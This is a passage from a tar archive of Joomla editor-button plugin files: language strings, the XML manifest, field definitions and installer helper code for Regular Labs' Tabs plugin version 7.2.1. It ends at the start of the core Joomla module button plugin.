TAB_SETTINGS="Vous pouvez également consulter le plug-in [[%1:start link%]]Panneaux à onglets Regular Labs[[%2:end link%]] qui permet de configurer les éléments insérés par le bouton."
TAB_TEXT="Votre texte..."
TAB_THE_SYSTEM_PLUGIN="Plug-in système Panneaux à onglets Regular Labs"
TAB_TITLE="Titre de l'onglet"
                   editors-xtd/tabs/language/fr-FR/fr-FR.plg_editors-xtd_tabs.sys.ini                                  0000705                 00000001476 15242051520 0021016 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate
;;
;; @translation     Pierre Cabrol <p.cabrol@midiconcept.fr> MidiConcept, Mihàly Marti <info@sarki.ch> Sarki (sarki.ch)

PLG_EDITORS-XTD_TABS="Bouton - Panneaux à onglets Regular Labs"
PLG_EDITORS-XTD_TABS_DESC="Le plug-in Bouton Panneaux à onglets Regular Labs permet d'afficher un bouton sous l'éditeur pour créer/insérer des panneaux à onglets (<i>tabs</i>) dans tous les contenus Joomla!"
TABS="Panneaux à onglets"
                                                                                                                                                                                                  editors-xtd/tabs/language/en-GB/en-GB.plg_editors-xtd_tabs.ini                                      0000705                 00000001426 15242051520 0020124 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate

PLG_EDITORS-XTD_TABS="Button - Regular Labs - Tabs"
PLG_EDITORS-XTD_TABS_DESC="Tabs - make content tabs in Joomla!"
TABS="Tabs"

TABS_DESC="With Tabs you can make content tabs anywhere in Joomla!"

TAB_SETTINGS="Please see the [[%1:start link%]]Tabs system plugin[[%2:end link%]] for settings."
TAB_TEXT="Your text..."
TAB_THE_SYSTEM_PLUGIN="the Tabs system plugin"
TAB_TITLE="Tab Title"
                                                                                                                                                                                                                                          editors-xtd/tabs/language/en-GB/en-GB.plg_editors-xtd_tabs.sys.ini                                  0000705                 00000001022 15242051520 0020731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate

PLG_EDITORS-XTD_TABS="Button - Regular Labs - Tabs"
PLG_EDITORS-XTD_TABS_DESC="Tabs - make content tabs in Joomla!"
TABS="Tabs"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              editors-xtd/tabs/tabs.xml                                                                           0000705                 00000003562 15242051520 0011416 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.4" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_tabs</name>
	<description>PLG_EDITORS-XTD_TABS_DESC</description>
	<version>7.2.1</version>
	<creationDate>March 2018</creationDate>
	<author>Regular Labs (Peter van Westen)</author>
	<authorEmail>info@regularlabs.com</authorEmail>
	<authorUrl>https://www.regularlabs.com</authorUrl>
	<copyright>Copyright © 2018 Regular Labs - All Rights Reserved</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>

	<scriptfile>script.install.php</scriptfile>

	<files>
		<filename plugin="tabs">tabs.php</filename>
		<filename>fields.xml</filename>
		<filename>helper.php</filename>
		<filename>popup.php</filename>
		<filename>popup.tmpl.php</filename>
		<filename>script.install.helper.php</filename>
		<folder>language</folder>
	</files>

	<config>
		<fields name="params" addfieldpath="/libraries/regularlabs/fields">
			<fieldset name="description">
				<field name="@loadlanguage_regularlabs" type="rl_loadlanguage" extension="plg_system_regularlabs" />
				<field name="@loadlanguage" type="rl_loadlanguage" extension="plg_editors-xtd_tabs" />
				<field name="@license" type="rl_license" extension="TABS" />
				<field name="@version" type="rl_version" extension="TABS" />
				<field name="@dependency" type="rl_dependency"
					   label="TAB_THE_SYSTEM_PLUGIN"
					   file="/plugins/system/tabs/tabs.php" />
				<field name="@header" type="rl_header"
					   label="TABS"
					   description="TABS_DESC"
					   url="https://www.regularlabs.com/tabs" />

				<field name="@notice_settings" type="rl_plaintext"
					   description="TAB_SETTINGS,&lt;a href=&quot;index.php?option=com_plugins&amp;filter_folder=system&amp;filter_search=tabs&quot; target=&quot;_blank&quot;&gt;,&lt;/a&gt;" />
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                              editors-xtd/tabs/tabs.php                                                                           0000705                 00000001172 15242051520 0011400 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
	return;
}

require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';

/**
 * Button Plugin that places Editor Buttons
 */
class PlgButtonTabs
	extends \RegularLabs\Library\EditorButton
{
	var $require_core_auth = false;
}
                                                                                                                                                                                                                                                                                                                                                                                                      editors-xtd/tabs/fields.xml                                                                         0000705                 00000007450 15242051520 0011733 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<config addfieldpath="/libraries/regularlabs/fields">
	<fieldset name="tab_notice">
		<field name="@toggler_title_empty_a" type="rl_toggler" param="tab_xxx_title" value="" />
		<field name="@notice_title_empty" type="note" description="TAB_TITLE_EMPTY" />
		<field name="@toggler_title_empty_b" type="rl_toggler" />
	</fieldset>

	<fieldset name="tab_params">
		<field name="open" type="radio" class="btn-group" default="0"
			   label="TAB_DEFAULT"
			   description="TAB_DEFAULT_DESC">
			<option value="1">JYES</option>
		</field>
		<field name="alias" type="text"
			   label="JFIELD_ALIAS_LABEL"
			   description="TAB_ALIAS_DESC" />
		<field name="class" type="text"
			   label="RL_CSS_CLASS"
			   description="RL_CSS_CLASS_DESC" />
		<field name="@notice_scroll" type="rl_plaintext"
			   label="TAB_SCROLL"
			   description="TAB_SCROLL_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
		<field name="@notice_access" type="rl_plaintext"
			   label="JFIELD_ACCESS_LABEL"
			   description="JFIELD_ACCESS_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
		<field name="@notice_usergroup" type="rl_plaintext"
			   label="RL_USER_GROUPS"
			   description="RL_USER_GROUPS_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
		<field name="@notice_extra" type="rl_plaintext"
			   label="RL_EXTRA_PARAMETERS"
			   description="RL_EXTRA_PARAMETERS_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
	</fieldset>

	<fieldset name="params">
		<field name="mainclass" type="text" default=""
			   label="TAB_MAIN_CLASS"
			   description="TAB_MAIN_CLASS_DESC" />
		<field name="color_inactive_handles" type="radio" class="btn-group" default=""
			   label="TAB_COLOR_INACTIVE_HANDLES"
			   description="TAB_COLOR_INACTIVE_HANDLES_DESC">
			<option value="">JDEFAULT</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field name="outline_handles" type="radio" class="btn-group" default=""
			   label="TAB_OUTLINE_HANDLES"
			   description="TAB_OUTLINE_HANDLES_DESC">
			<option value="">JDEFAULT</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field name="outline_content" type="radio" class="btn-group" default=""
			   label="TAB_OUTLINE_CONTENT"
			   description="TAB_OUTLINE_CONTENT_DESC">
			<option value="">JDEFAULT</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field name="alignment" type="radio" class="btn-group" default=""
			   label="TAB_ALIGNMENT_HANDLES"
			   description="TAB_ALIGNMENT_HANDLES_DESC">
			<option value="">JDEFAULT</option>
			<option value="left">&lt;span class="icon-reglab-paragraph-left">&lt;/span></option>
			<option value="right">&lt;span class="icon-reglab-paragraph-right">&lt;/span></option>
			<option value="center">&lt;span class="icon-reglab-paragraph-center">&lt;/span></option>
			<option value="justify">&lt;span class="icon-reglab-paragraph-justify">&lt;/span></option>
		</field>
		<field name="@notice_positioning" type="rl_plaintext"
			   label="TAB_POSITIONING_HANDLES"
			   description="TAB_POSITIONING_HANDLES_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
		
		<field name="@notice_slideshow" type="rl_plaintext"
			   label="TAB_SLIDESHOW"
			   description="SLIDESHOW_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
		<field name="nested" type="radio" class="btn-group" default="0"
			   label="TAB_NESTED_SET"
			   description="TAB_NESTED_SET_DESC">
			<option value="">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field name="@toggler_nested_a" type="rl_toggler" param="tab_1_nested" value="1" />
		<field name="nested_id" type="text" class="btn-group" default="nested"
			   label="TAB_NESTED_ID"
			   description="TAB_NESTED_ID_DESC" />
		<field name="@toggler_nested_b" type="rl_toggler" />
	</fieldset>
</config>
                                                                                                                                                                                                                        editors-xtd/tabs/script.install.helper.php                                                          0000705                 00000052146 15242051520 0014705 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgEditorsXtdTabsInstallerScriptHelper
{
	public $name            = '';
	public $alias           = '';
	public $extname         = '';
	public $extension_type  = '';
	public $plugin_folder   = 'system';
	public $module_position = 'status';
	public $client_id       = 1;
	public $install_type    = 'install';
	public $show_message    = true;
	public $db              = null;
	public $softbreak       = null;

	public function __construct(&$params)
	{
		$this->extname = $this->extname ?: $this->alias;
		$this->db      = JFactory::getDbo();
	}

	public function preflight($route, JAdapterInstance $adapter)
	{
		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		JFactory::getLanguage()->load('plg_system_regularlabsinstaller', JPATH_PLUGINS . '/system/regularlabsinstaller');

		if ($this->show_message && $this->isInstalled())
		{
			$this->install_type = 'update';
		}

		if ($this->onBeforeInstall($route) === false)
		{
			return false;
		}

		return true;
	}

	public function postflight($route, JAdapterInstance $adapter)
	{
		$this->removeGlobalLanguageFiles();
		$this->removeUnusedLanguageFiles();

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder());

		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		$this->fixExtensionNames();
		$this->updateUpdateSites();
		$this->removeAdminCache();

		if ($this->onAfterInstall($route) === false)
		{
			return false;
		}

		if ($route == 'install')
		{
			$this->publishExtension();
		}

		if ($this->show_message)
		{
			$this->addInstalledMessage();
		}

		JFactory::getCache()->clean('com_plugins');
		JFactory::getCache()->clean('_system');

		return true;
	}

	public function isInstalled()
	{
		if ( ! is_file($this->getInstalledXMLFile()))
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName()));
		$this->db->setQuery($query, 0, 1);
		$result = $this->db->loadResult();

		return empty($result) ? false : true;
	}

	public function getMainFolder()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				return JPATH_PLUGINS . '/' . $this->plugin_folder . '/' . $this->extname;

			case 'component' :
				return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname;

			case 'module' :
				return JPATH_ADMINISTRATOR . '/modules/mod_' . $this->extname;

			case 'library' :
				return JPATH_SITE . '/libraries/' . $this->extname;
		}
	}

	public function getInstalledXMLFile()
	{
		return $this->getXMLFile($this->getMainFolder());
	}

	public function getCurrentXMLFile()
	{
		return $this->getXMLFile(__DIR__);
	}

	public function getXMLFile($folder)
	{
		switch ($this->extension_type)
		{
			case 'module' :
				return $folder . '/mod_' . $this->extname . '.xml';

			default :
				return $folder . '/' . $this->extname . '.xml';
		}
	}

	public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true)
	{
		if (empty($extname))
		{
			return;
		}

		$folders = [];

		switch ($type)
		{
			case 'plugin';
				$folders[] = JPATH_PLUGINS . '/' . $folder . '/' . $extname;
				break;

			case 'component':
				$folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname;
				$folders[] = JPATH_SITE . '/components/com_' . $extname;
				break;

			case 'module':
				$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname;
				$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
				break;
		}

		if ( ! $this->foldersExist($folders))
		{
			return;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname)))
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type));

		if ($type == 'plugin')
		{
			$query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder));
		}

		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			foreach ($folders as $folder)
			{
				JFolder::delete($folder);
			}

			return;
		}

		$ignore_ids = JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids', []);

		if (JFactory::getApplication()->input->get('option') == 'com_installer' && JFactory::getApplication()->input->get('task') == 'remove')
		{
			// Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves
			$ignore_ids = array_merge($ignore_ids, JFactory::getApplication()->input->get('cid', [], 'array'));
			JFactory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids));
		}

		$ids = array_diff($ids, $ignore_ids);

		if (empty($ids))
		{
			return;
		}

		$ignore_ids = array_merge($ignore_ids, $ids);
		JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids);

		foreach ($ids as $id)
		{
			$tmpInstaller = new JInstaller;
			$tmpInstaller->uninstall($type, $id);
		}

		if ($show_message)
		{
			JFactory::getApplication()->enqueueMessage(
				JText::sprintf(
					'COM_INSTALLER_UNINSTALL_SUCCESS',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
				)
			);
		}
	}

	public function foldersExist($folders = [])
	{
		foreach ($folders as $folder)
		{
			if (is_dir($folder))
			{
				return true;
			}
		}

		return false;
	}

	public function uninstallPlugin($extname, $folder = 'system', $show_message = true)
	{
		$this->uninstallExtension($extname, 'plugin', $folder, $show_message);
	}

	public function uninstallComponent($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'component', null, $show_message);
	}

	public function uninstallModule($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'module', null, $show_message);
	}

	public function publishExtension()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				$this->publishPlugin();

			case 'module' :
				$this->publishModule();
		}
	}

	public function publishPlugin()
	{
		$query = $this->db->getQuery(true)
			->update('#__extensions')
			->set($this->db->quoteName('enabled') . ' = 1')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname))
			->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function publishModule()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		// check if module is already in the modules_menu table (meaning is is already saved)
		$query->clear()
			->select($this->db->quoteName('moduleid'))
			->from('#__modules_menu')
			->where($this->db->quoteName('moduleid') . ' = ' . (int) $id);
		$this->db->setQuery($query, 0, 1);
		$exists = $this->db->loadResult();

		if ($exists)
		{
			return;
		}

		// Get highest ordering number in position
		$query->clear()
			->select($this->db->quoteName('ordering'))
			->from('#__modules')
			->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id)
			->order('ordering DESC');
		$this->db->setQuery($query, 0, 1);
		$ordering = $this->db->loadResult();
		$ordering++;

		// publish module and set ordering number
		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('published') . ' = 1')
			->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering)
			->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		// add module to the modules_menu table
		$query->clear()
			->insert('#__modules_menu')
			->columns([$this->db->quoteName('moduleid'), $this->db->quoteName('menuid')])
			->values((int) $id . ', 0');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function addInstalledMessage()
	{
		JFactory::getApplication()->enqueueMessage(
			JText::sprintf(
				JText::_($this->install_type == 'update' ? 'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'),
				'<strong>' . JText::_($this->name) . '</strong>',
				'<strong>' . $this->getVersion() . '</strong>',
				$this->getFullType()
			)
		);
	}

	public function getPrefix()
	{
		switch ($this->extension_type)
		{
			case 'plugin';
				return JText::_('plg_' . strtolower($this->plugin_folder));

			case 'component':
				return JText::_('com');

			case 'module':
				return JText::_('mod');

			case 'library':
				return JText::_('lib');

			default:
				return $this->extension_type;
		}
	}

	public function getElementName($type = null, $extname = null)
	{
		$type    = is_null($type) ? $this->extension_type : $type;
		$extname = is_null($extname) ? $this->extname : $extname;

		switch ($type)
		{
			case 'component' :
				return 'com_' . $extname;

			case 'module' :
				return 'mod_' . $extname;

			case 'plugin' :
			default:
				return $extname;
		}
	}

	public function getFullType()
	{
		return JText::_('RLI_' . strtoupper($this->getPrefix()));
	}

	public function getVersion($file = '')
	{
		$file = $file ?: $this->getCurrentXMLFile();

		if ( ! is_file($file))
		{
			return '';
		}

		$xml = JApplicationHelper::parseXMLInstallFile($file);

		if ( ! $xml || ! isset($xml['version']))
		{
			return '';
		}

		return $xml['version'];
	}

	public function isNewer()
	{
		if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		$package_version = $this->getVersion();

		return version_compare($installed_version, $package_version, '<=');
	}

	public function canInstall()
	{
		// The extension is not installed yet
		if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		// The free version is installed. So any version is ok to install
		if (strpos($installed_version, 'PRO') === false)
		{
			return true;
		}

		// Current package is a pro version, so all good
		if (strpos($this->getVersion(), 'PRO') !== false)
		{
			return true;
		}

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__);

		JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'), 'error');

		JFactory::getApplication()->enqueueMessage(
			html_entity_decode(
				JText::sprintf(
					'RLI_ERROR_UNINSTALL_FIRST',
					'<a href="https://www.regularlabs.com/extensions/' . $this->alias . '" target="_blank">',
					'</a>',
					JText::_($this->name)
				)
			), 'error'
		);

		return false;
	}

	/*
	 * Fixes incorrectly formed versions because of issues in old packager
	 */
	public function fixFileVersions($file)
	{
		if (is_array($file))
		{
			foreach ($file as $f)
			{
				self::fixFileVersions($f);
			}

			return;
		}

		if ( ! is_string($file) || ! is_file($file))
		{
			return;
		}

		$contents = file_get_contents($file);

		if (
			strpos($contents, 'FREEFREE') === false
			&& strpos($contents, 'FREEPRO') === false
			&& strpos($contents, 'PROFREE') === false
			&& strpos($contents, 'PROPRO') === false
		)
		{
			return;
		}

		$contents = str_replace(
			['FREEFREE', 'FREEPRO', 'PROFREE', 'PROPRO'],
			['FREE', 'PRO', 'FREE', 'PRO'],
			$contents
		);

		JFile::write($file, $contents);
	}

	public function onBeforeInstall($route)
	{
		if ( ! $this->canInstall())
		{
			return false;
		}

		return true;
	}

	public function onAfterInstall($route)
	{
	}

	public function delete($files = [])
	{
		foreach ($files as $file)
		{
			if (is_dir($file))
			{
				JFolder::delete($file);
			}

			if (is_file($file))
			{
				JFile::delete($file);
			}
		}
	}

	public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}')
	{
		// replace default rules value {} with the correct initial value
		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__assets'))
			->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules))
			->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname))
			->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function fixExtensionNames()
	{
		switch ($this->extension_type)
		{
			case 'module' :
				$this->fixModuleNames();
		}
	}

	private function fixModuleNames()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$module_id = $this->db->loadResult();

		if (empty($module_id))
		{
			return;
		}

		$title = 'Regular Labs - ' . JText::_($this->name);

		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('title') . ' = ' . $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = ' . (int) $module_id)
			->where($this->db->quoteName('title') . ' LIKE ' . $this->db->quote('NoNumber%'));
		$this->db->setQuery($query);
		$this->db->execute();

		// Fix module assets

		// Get asset id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__assets')
			->where($this->db->quoteName('name') . ' = ' . $this->db->quote('com_modules.module.' . (int) $module_id))
			->where($this->db->quoteName('title') . ' LIKE ' . $this->db->quote('NoNumber%'));
		$this->db->setQuery($query, 0, 1);
		$asset_id = $this->db->loadResult();

		if (empty($asset_id))
		{
			return;
		}

		$query->clear()
			->update('#__assets')
			->set($this->db->quoteName('title') . ' = ' . $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = ' . (int) $asset_id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateUpdateSites()
	{
		$this->removeOldUpdateSites();
		$this->updateNamesInUpdateSites();
		$this->updateHttptoHttpsInUpdateSites();
		$this->removeDuplicateUpdateSite();
		$this->updateDownloadKey();
	}

	private function removeOldUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('nonumber.nl%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateNamesInUpdateSites()
	{
		$name = JText::_($this->name);
		if ($this->alias != 'extensionmanager')
		{
			$name = 'Regular Labs - ' . $name;
		}

		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('name') . ' = ' . $this->db->quote($name))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateHttptoHttpsInUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('location') . ' = REPLACE('
				. $this->db->quoteName('location') . ', '
				. $this->db->quote('http://') . ', '
				. $this->db->quote('https://')
				. ')')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('http://download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeDuplicateUpdateSite()
	{
		// First check to see if there is a pro entry

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'))
			->where($this->db->quoteName('location') . ' NOT LIKE ' . $this->db->quote('%pro=1%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		// Otherwise just get the first match
		if ( ! $id)
		{
			$query->clear()
				->select($this->db->quoteName('update_site_id'))
				->from('#__update_sites')
				->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
				->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
			$this->db->setQuery($query, 0, 1);
			$id = $this->db->loadResult();

			// Remove pro=1 from the found update site
			$query->clear()
				->update('#__update_sites')
				->set($this->db->quoteName('location')
					. ' = replace(' . $this->db->quoteName('location') . ', ' . $this->db->quote('&pro=1') . ', ' . $this->db->quote('') . ')')
				->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
			$this->db->setQuery($query);
			$this->db->execute();
		}

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'))
			->where($this->db->quoteName('update_site_id') . ' != ' . $id);
		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') . ' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') . ' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	// Save the download key from the Regular Labs Extension Manager config to the update sites
	private function updateDownloadKey()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('params'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote('com_regularlabsmanager'));
		$this->db->setQuery($query);
		$params = $this->db->loadResult();

		if ( ! $params)
		{
			return;
		}

		$params = json_decode($params);

		if ( ! isset($params->key))
		{
			return;
		}

		// Add the key on all regularlabs.com urls
		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' = ' . $this->db->quote('k=' . $params->key))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeAdminCache()
	{
		$this->delete([JPATH_ADMINISTRATOR . '/cache/regularlabs']);
		$this->delete([JPATH_ADMINISTRATOR . '/cache/nonumber']);
	}

	private function removeGlobalLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$language_files = JFolder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true);

		// Remove override files
		foreach ($language_files as $i => $language_file)
		{
			if (strpos($language_file, '/overrides/') === false)
			{
				continue;
			}

			unset($language_files[$i]);
		}

		if (empty($language_files))
		{
			return;
		}

		JFile::delete($language_files);
	}

	private function removeUnusedLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$installed_languages = array_merge(
			JFolder::folders(JPATH_SITE . '/language'),
			JFolder::folders(JPATH_ADMINISTRATOR . '/language')
		);

		$languages = array_diff(
			JFolder::folders(__DIR__ . '/language'),
			$installed_languages
		);

		$delete_languages = [];

		foreach ($languages as $language)
		{
			$delete_languages[] = $this->getMainFolder() . '/language/' . $language;
		}

		if (empty($delete_languages))
		{
			return;
		}

		// Remove folders
		$this->delete($delete_languages);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                          editors-xtd/module/module.php                                                                       0000705                 00000002702 15242051520 0012270 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.module
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Module button
 *
 * @since  3.5
 */
class PlgButtonModule extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.5
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   3.5
	 */
	public function onDisplay($name)
